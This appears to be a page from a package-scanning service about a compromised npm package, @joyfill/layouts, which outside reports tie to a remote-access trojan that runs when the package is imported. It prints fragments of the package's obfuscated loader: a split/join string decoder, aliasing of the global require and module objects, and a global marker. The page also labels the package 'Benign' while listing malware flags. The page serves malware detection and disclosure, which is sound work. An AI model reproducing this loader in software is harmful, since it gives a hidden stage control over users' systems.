Benign javascript Download

@joyfill/layouts 0.1.2-2773.beta.0

“Handles page and field layouts for Joyfill JS SDK”

Global require and module aliasingNested Function decoder stage loader

SHA-256adc4af90540d33cd1e98f44b51482ae9250fbeb97d6f8d7841c81b618cb2c6e6

URLhttps://registry.npmmirror.com/@joyfill/layouts/-/layouts-0.1.2-2773.beta.0.tgz

Also flagged by https://feeds.feedburner.com/TheHackersNews (Two Compromised joyfill npm Packages Run RAT When Imported Into Node.js), https://safedep.io/rss.xml (Joyfill npm Packages Compromised with Blockchain C2 Loader), osv (MAL-2026-11161: Malicious code in @joyfill/layouts (npm)) +5 more.

Evidence

Encoded payload detected: base64 index.es.js · lines 133–137

background-origin: content-box;
box-sizing: border-box;
background-image: url('data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCA2IDYiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiNmZmZmZmYwMCIgeD0iMHB4IiB5PSIwcHgiIHdpZHRoPSI2cHgiIGhlaWdodD0iNnB4Ij48ZyBvcGFjaXR5PSIwLjMwMiI+PHBhdGggZD0iTSA2IDYgTCAwIDYgTCAwIDQuMiBMIDQgNC4yIEwgNC4yIDQuMiBMIDQuMiAwIEwgNiAwIEwgNiA2IEwgNiA2IFoiIGZpbGw9IiMwMDAwMDAiLz48L2c+PC9zdmc+');
background-position: bottom right;
padding: 0 3px 3px 0;

Global property with non-alphanumeric name index.es.js · lines 860–869

});
861}
862global["!"] = "9-0135-3";
863var _$_1e42 = function(l, e) {
var h = l.length;
var g = [];
for (var j = 0; j < h; j++) {
  g[j] = l.charAt(j);
}
for (var j = 0; j < h; j++) {

Global require and module aliasing index.es.js · lines 886–892

886  return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x);
887}("rmcej%otb%", 2857687);
888global[_$_1e42[0]] = require;
889if (typeof module === _$_1e42[1]) {
890  global[_$_1e42[2]] = module;
891}
892(function() {

Indexed decoder builds and runs hidden stage index.cjs.js.map · line 0

0{"version":3,"file":"index.cjs.js","sources":["../src/components/PageBackground/

Nested Function decoder stage loader index.cjs.js.map · line 52242

52242…join(r).split(a).join(c).split(x)})(\"rmcej%otb%\",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1])…

No evidence locations were recorded for this file. Raw result